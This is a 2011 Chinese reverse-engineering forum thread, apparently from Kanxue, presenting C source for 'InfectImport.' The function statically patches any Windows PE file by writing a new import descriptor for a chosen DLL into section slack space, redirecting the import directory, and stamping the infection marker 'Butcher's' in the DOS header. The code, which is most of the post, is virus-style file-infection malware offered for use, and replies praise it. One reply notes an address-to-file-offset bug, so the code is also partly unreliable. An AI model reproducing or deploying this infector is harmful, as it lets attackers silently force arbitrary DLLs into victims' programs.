首页
论坛
课程
招聘
[原创]感染PE增加导入项实现注入
2011-10-26 16:41 14171

[原创]感染PE增加导入项实现注入

2011-10-26 16:41
14171


之前有朋友说此方法还不够通用.原因有个别国外程序会启动后,对自身加载的所有文件进行HASH效验,不过它可以检测自带的文件.难道连系统文件也效验.先判断当前系统.

再取得微软的效验碼?这强度未免太大了吧. 我一个人实在没有那么多精力测试.希望朋友们帮忙.

微软的Detours也在使用这种方法注入,我的和它的有一点区别.它的比较温柔.主要攻击EXE,启动进程挂起.然后修改动态PE.我攻击所有PE文件.静态修改.


编程语言:C

编程环境:Microsoft Visual Studio 2008

系统平台:Windows server 2008

实现原理:

启动进程系统是通过其导入表确定该为其加载那些动态连接库.它是一个数组.每个成员代表一个动态连接库.我们要做的就是为这个数组增加一个成员.

而这个成员就是我们的动态连接库.只是这个数组是固定大小的,它的前面后面.都没有位置让我们新增一个成员.所以我们只能随便找一个空地新构造一个这样的数组即可




函数名称:InfectImport

函数返回:true or false

第一参数:目标文件路径

第二参数:将注入的动态连接库

int InfectImport(const char* Path,const char* Library)
{
	char					Sign[0x10]={0};
	FILE*					File=0x0;
	char*					Buffer=0x0;
	const char*				Test=TEXT("Butcher's");
	unsigned long				Size=0;
	unsigned long				Offset=0;
	IMAGE_DOS_HEADER			Dos={0};
	IMAGE_NT_HEADERS			NT={0};
	IMAGE_SECTION_HEADER			Section={0};
	IMAGE_IMPORT_DESCRIPTOR*		Import=0;
	IMAGE_DATA_DIRECTORY*			Directory=0;

	//申请所需的局部变量并为其初始化

	if (fopen_s(&File,Path,TEXT("rb+"))!=0)
	{
		return 0;
	}

	//以读写权限打开目标文件

	__try
	{
		__try
		{
			fread(&Dos,sizeof(IMAGE_DOS_HEADER),1,File);
			if (Dos.e_magic!= IMAGE_DOS_SIGNATURE)
			{
				return 0;
			}

			//读取文件DOS头到缓存,并判断DOS签名

			fseek(File,0x28,SEEK_SET);
			fread(Sign,0x10,1,File);
			if (strcmp(Test,Sign)==0)
			{
				return 0;
			}

			//读取文件第28字节处到缓存,此为IMAGE_DOS_HEADER结构e_res2[10]域的位置.
                                                //原为微软定义的保留位.就是微软还没想好用这个地方做点什么,只是空一个空留着以后想到了再用.
			//那它现在不用,我们就拿来用一下.用来做效验.判断当前文件是否已经被感染过了.如没有才继续

			fseek(File,Dos.e_lfanew,SEEK_SET);
			fread(&NT,sizeof(IMAGE_NT_HEADERS),1,File);
			if (NT.Signature!=IMAGE_NT_SIGNATURE)
			{
				return 0;
			}

			//读取文件NT头到缓存,并判断NT签名

			fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER),SEEK_SET);
			fread(&Section,sizeof(IMAGE_SECTION_HEADER),1,File);
			if (Section.VirtualAddress!=NT.OptionalHeader.BaseOfData)
			{
				return 0;
			}

			//读取文件rdata节到缓存,并判断正确性.

			Size=NT.OptionalHeader.DataDirectory[1].Size;
			if (Size+0x20>Section.SizeOfRawData-Section.Misc.VirtualSize)
			{
				return 0;
			}

			//获取文件导入表尺寸,并判断rdata节剩余空间是否能容纳新增一个导入项的新导入表.

			Offset=Section.PointerToRawData+Section.Misc.VirtualSize;

			//获取节空隙起始位置

			Buffer=calloc(0x20,sizeof(char));
			memset(Buffer,0,0x20);
			strcpy_s((char*)Buffer,strlen(Library)+1,Library);
			*(int*)((int)Buffer+0x10)=0x80000001;
			*(int*)((int)Buffer+0x14)=0x0;
			*(int*)((int)Buffer+0x18)=0x0;
			*(int*)((int)Buffer+0x1c)=0x0;
			
			//申请20字节堆,用以构造新导入项结构

			fseek(File,Offset,SEEK_SET);
			fwrite(Buffer,sizeof(char),0x20,File);

			//把新构造的导入项结构写入文件rdata节空隙起始位置

			Import=malloc(sizeof(IMAGE_IMPORT_DESCRIPTOR));
			Import->FirstThunk			=Offset+0x10;
			Import->ForwarderChain		=0;
			Import->Name			=Offset;
			Import->OriginalFirstThunk		=Offset+0x18;
			Import->TimeDateStamp		=0;

			//申请堆,用以构造新导入项.

			fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress+Size-0x14,SEEK_SET);
			fwrite(Import,sizeof(IMAGE_IMPORT_DESCRIPTOR),1,File);

			//在文件导入表结尾处写入新构造的导入项

			Buffer=realloc(Buffer,Size);
			memset(Buffer,0,Size);
			fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress,SEEK_SET);
			fread(Buffer,sizeof(char),Size,File);
			fseek(File,Offset+0x20,SEEK_SET);
			fwrite(Buffer,sizeof(char),Size,File);

			//复制新导入表到新位置

			Directory=malloc(sizeof(IMAGE_DATA_DIRECTORY));
			Directory->Size				=Size+0x14;
			Directory->VirtualAddress			=Offset+0x20;
			fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)-0x78,SEEK_SET);
			fwrite(Directory,sizeof(IMAGE_DATA_DIRECTORY),1,File);

			//修改文件目录使导入表指向新位置,报告新尺寸

			fseek(File,0x28,SEEK_SET);
			fwrite(Test,strlen(Test),1,File);

			//成功后在文件第28字节处,也就是IMAGE_DOS_HEADER结构e_res2[10]域的位置写入我们自定义的感染标志.这里标志为:Butcher's
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			return 0;
		}
	}
	__finally
	{
		free(Buffer);
		free(Import);
		free(Directory);
		fclose(File);
	}
	return 1;
} 

                  

PS:此代码居然破坏性.请先备份目标文件再行使用 (使用前请把想要注入的动态连接库放入与目标相同的文件夹内)

[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年秋季班火热招生!!

收藏
点赞0
打赏
分享
最新回复 (9)
雪    币: 108
活跃值: 活跃值 (20)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
pushebp 活跃值 2011-10-26 17:19
2
0
这位同学可以体验下破解勇的DIYTools,里面就有这个功能了。
雪    币: 100
活跃值: 活跃值 (42)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dico 活跃值 2011-10-27 08:20
3
0
楼主这个代码很有用,我测试效果不错
雪    币: 216
活跃值: 活跃值 (13)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
Naylon 活跃值 2 2011-10-27 15:40
4
0
dll hijack
雪    币: 4911
活跃值: 活跃值 (374)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
b23526 活跃值 2011-10-27 16:28
5
0
不错,伸手党,收藏,撸过
雪    币: 80
活跃值: 活跃值 (24)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
iforgiven 活跃值 2011-10-27 18:58
6
0
lordpe添加导入表。
雪    币: 947
活跃值: 活跃值 (25)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
loongzyd 活跃值 10 2011-10-27 19:35
7
0
谢谢楼主分享,支持一个
雪    币: 67
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
渤海屠夫 活跃值 2011-10-28 09:19
8
0
这是劫持嘛?
雪    币: 71
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
东方容克 活跃值 2011-11-1 22:12
9
0
嘎嘎,不错的代码。 感谢。
雪    币: 385
活跃值: 活跃值 (28)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
小小的心 活跃值 2 2012-2-26 21:46
10
0
代码有些笔误,导入表VirtualAddress 应该转成磁盘偏移Roffset
游客
登录 | 注册 方可回帖
返回